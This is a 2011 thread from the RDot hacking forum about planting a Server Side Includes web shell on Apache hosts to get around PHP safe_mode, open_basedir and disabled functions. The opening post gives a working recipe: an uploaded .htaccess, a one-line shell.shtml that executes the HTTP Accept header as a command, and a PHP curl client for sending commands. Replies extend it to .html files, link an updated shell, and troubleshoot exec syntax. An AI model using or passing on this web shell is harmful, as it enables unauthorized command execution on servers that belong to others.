RDot

RDot (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   [Заметка] SSI Web shell (https://rdot.org/forum/showthread.php?t=1607)

Twost 22.07.2011 10:02

[Заметка] SSI Web shell
 
1. Введение
В данной заметке я рассмотрю примеры использования SSI, для обхода ограничений php в частности.

2. Теория
SSI (Server Side Includes — включения на стороне сервера) — несложный язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Реализован в веб-сервере Apache при помощи модуля mod_include.

3. Основные команды
Цитата:

config — устанавливает формат сообщений об ошибках, дат и размера
set — устанавливает значение переменной
printenv — выводит список переменных окружения
echo — вставляет значение переменной
flastmod — вставляет дату и время изменения файла
fsize — вставляет размер файла
include — вставляет содержимое другого файла
if, elif, else, endif — условные операторы
exec cmd — Запускает внешнюю программу (exec cmd) и вставляет в содержимое страницы вывод.
Подробнее остановлюсь на основных для нас командах: printenv, exec cmd.

3.1 printenv - переменные окружения, они нам в принципе знакомы, но посмотрим еще раз:
Цитата:

DOCUMENT_ROOT (название основной папки для вебстраниц на сервере, обычно ваша папка public_html и путь к ней)
USER_AGENT и HTTP_USER_AGENT (название браузера, которым пользуется посетитель)
REMOTE_ADDR (IP-адрес посетителя)
REMOTE_HOST (адрес посетителя в нормальной форме)
SERVER_ADDR (IP-адрес вашего сайта)
SERVER_NAME и HTTP_HOST (адрес сервера),
DOCUMENT_URI, REQUEST_URI и SCRIPT_NAME (запрошенная вами страница, типа /examples/mysqlexample.shtml.),
DOCUMENT_NAME (имя файла (без каталогов) документа, запрошенного пользователем),
SCRIPT_FILENAME (полный путь к вебстранице на сервере. Например /home/home-webservis/public_html/ и так далее),
SERVER_SOFTWARE (название сервера, например, Apache/1.3.2 (Unix))
SERVER_ADMIN (почтовый адрес владельца сервера, указанный при установке),
DATE_LOCAL (сегодняшние время и дата в вашем часовом поясе(для сервера)),
DATE_GMT (текущее время по Гринвичу),
LAST_MODIFIED (дата последней модификации документа, запрошенного пользователем. То есть во вложенном SSI эта переменная будет содержать имя «главного» документа, а не вложенного).
HTTP_COOKIE (Строка Cookie установленная для текущего домена.).
3.2 exec cmd - запускает внешнюю команду, причем с правами, пользователя от которого запущен apache, т.е. все ограничения php (safe_mode, open_basedir, disable_functions) не имеют никакого воздействия на SSI скрипты.

4. Настройка apache
Приведу цитату из официальной документации:
Цитата:

To permit SSI on your server, you must have the following directive either in your httpd.conf file, or in a .htaccess file:

Options +Includes

This tells Apache that you want to permit files to be parsed for SSI directives. Note that most configurations contain multiple Options directives that can override each other. You will probably need to apply the Options to the specific directory where you want SSI enabled in order to assure that it gets evaluated last.

Not just any file is parsed for SSI directives. You have to tell Apache which files should be parsed. There are two ways to do this. You can tell Apache to parse any file with a particular file extension, such as .shtml, with the following directives:

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

One disadvantage to this approach is that if you wanted to add SSI directives to an existing page, you would have to change the name of that page, and all links to that page, in order to give it a .shtml extension, so that those directives would be executed.
(с) http://httpd.apache.org/docs/current/howto/ssi.html
Добавить нечего, либо указываете в конфигурационном файле apache, либо в файле .htaccess.

5. Пример из жизни
Настройки php:
Disabled PHP Functions: dl,exec,passthru,proc_open,proc_close,shell_exec,s ystem,symlink,chmod
Safe mode: ON
open_basedir обозначен

Т.е. с такими настройками шибко не разгуляешься - системные функции отключены, сейфмод включен, open_basedir не дает пройти выше и поискать обходные пути, даже если предположить, что можно залить перловый шелл, то отключенный chmod не даст выставить права +x. (это уже полет фантазии, можно считать, что перла вообще нет на сервере и т.п.)

Приступаем к обходу этих ограничений! ;)

Шаг №1:
Заливаем файл в директорию .htaccess
Цитата:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
Шаг №2:
Заливаем в директорию файл shell.shtml всего лишь с одной командой
Цитата:

<!--#exec cmd="$HTTP_ACCEPT" -->
с exec cmd мы уже разобрались раньше, а HTTP_ACCEPT - это переменная из переменных окружения (см. printenv).


Шаг №3:
У себя на компе создаем клиентский php-файл:
PHP код:

<?php

# URL SSI шелла
$url 'http://site.com/shell.shtml';

    function 
send($url,$cmd)
    {
        if(
$curl curl_init())
        {
            
curl_setopt($curl,CURLOPT_URL$url);
            
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
            
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);

            
$headers = array("Accept: ".$cmd);

            
curl_setopt($curl,CURLOPT_HTTPHEADER,$headers);
            
curl_setopt($curl,CURLOPT_URL,$url);
            return 
curl_exec($curl);

        }
        
curl_close($curl);
    }

    print 
'SSI шелл - '.$url.'<br />';
    print 
'<form action="#" method="post">';

    print 
$_POST['cmd'].': <br />';
    print 
'<textarea rows=20 cols=150 wrap="off">'send($url,$_POST['cmd']) .'</textarea><br />';

    print 
'<input name="cmd" type="text" value="id; uname -a; pwd"><br />';

    print 
'<input type="submit" value="Send"><br />';
    print 
'</form>';

?>

В итоге мы получили шелл без всяческий ограничений первоначального php шелла.


Примечания:
1. Для выполнения SSI скриптов не требуется флаг +x на файле.
2. SSI может заработать не везде, в частности из-за директивы AllowOverride в конфигурационном файле apache, которая запрещает назначение новых значений в файле .htaccess, которым уже присвоено значение в конфигурационном файле.

(с) Twost
22.07.2011г.

Pashkela 04.08.2011 19:12

Цитата:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
не обязательно только .shtml, можно и просто .html или .htm:

Код:

AddHandler server-parsed .html .htm
и любой код, который сработает в .shtml, сработает и в .html и в .htm

Beched 08.10.2011 11:25

Обновил свой старый ssi-shell. Теперь работает через куки, а не через query_string.
Выводит всякую общую инфу, есть, собственно, шелл + читалка.

Смотреть: http://ahack.ru/releases/ssi-web-shell.htm

b3 08.10.2011 13:46

SSI работает, но команды не выполняет, что может влиять на exec cmd и exec cgi?

mime.conf
Код:

# To parse .shtml files for server-side includes (SSI):
# (You will also need to add "Includes" to the "Options" directive.)
#
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml


Beched 08.10.2011 15:58

b3, Видимо прописано Options IncludesNoExec

DrakonHaSh 08.10.2011 16:50

как-то на виндовом серваке встречал непонятную фишку с #exec
<!--#exec cmd="xxx.bat" --> - работает
<!--#exec cmd="xxx.bat /xxx" --> - не работает
т.е. передача пробела любым способом (напрямую или через переменную) выдавало: an error occurred while processing this directive
а беспробельные команды выполнялись как надо

trashmail 08.10.2011 21:48

Цитата:

Сообщение от DrakonHaSh (Сообщение 20503)
как-то на виндовом серваке встречал непонятную фишку с #exec
<!--#exec cmd="xxx.bat" --> - работает
<!--#exec cmd="xxx.bat /xxx" --> - не работает
т.е. передача пробела любым способом (напрямую или через переменную) выдавало: an error occurred while processing this directive
а беспробельные команды выполнялись как надо

вот так надо <!--#exec cmd=xxx.bat "parametr1 parametr2 /xxx" -->

п.с. благодарностей не надо)

DrakonHaSh 09.10.2011 11:55

Цитата:

Сообщение от trashmail (Сообщение 20509)
вот так надо <!--#exec cmd=xxx.bat "parametr1 parametr2 /xxx" -->

п.с. благодарностей не надо)

Проверенная информация или с "потолка" ?

у меня на том серваке:
PHP код:

<!--#exec cmd=qwe.bat "parametr1 parametr2 /xxx" -->
=>
[
an error occurred while processing this directive]

<!--
#exec cmd="qwe.bat parametr1 parametr2 /xxx" -->
=>
[
an error occurred while processing this directive]

<!--
#exec cmd=qwe.bat parametr1 parametr2 /xxx -->
=>
cmd lineqwe.bat // параметры не были переданы, т.е. равносильно <!--#exec cmd=qwe.bat --> 
Hello from qwe.bat

<!--#exec cmd="qwe.bat qwe.bat" -->
=>
cmd line"qwe.bat qwe.bat" 
Hello from qwe.bat qwe.bat

<!--#exec cmd=qwe.bat qwe.bat -->
=>
cmd lineqwe.bat 
Hello from qwe
.bat

<!--#exec cmd=qwe.bat "qwe.bat" -->
=>
[
an error occurred while processing this directive

"qwe.bat" == "qwe.bat qwe.bat":
PHP код:

@echo cmd line: %%*
@echo 
Hello from %~nx0 


ps кста в error.log можно найти полезную инфу

b3 09.10.2011 13:16

Цитата:

Сообщение от BECHED aka Root-access (Сообщение 20498)
b3, Видимо прописано Options IncludesNoExec

О блин я невнимательно смотрел, не заметил, спасибо.
Код:

[13:15][root][/etc/apache2]# grep -irn 'Options IncludesNoExec' ./
./apache2.conf.dpkg-dist:245:#        Options IncludesNoExec
./apache2.conf:585:#        Options IncludesNoExec
[13:16][root][/etc/apache2]#


Untitled 02.07.2012 14:57

Замечательная вещь.
Единственное, была такая ситуация. SSI-файл исполнялся (printenv и прочее работало) - причем без .htaccess, но именно exec не работал. Таки создал .htaccess с:
Код:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

Но стал получать 403 Forbidden. Ну, мало ли, какая политика на .htaccess. Только потом сообразил, что не хватает "+" перед Includes (в первом посте нет). То есть должно быть:
Код:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes



Часовой пояс GMT +3, время: 06:39.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot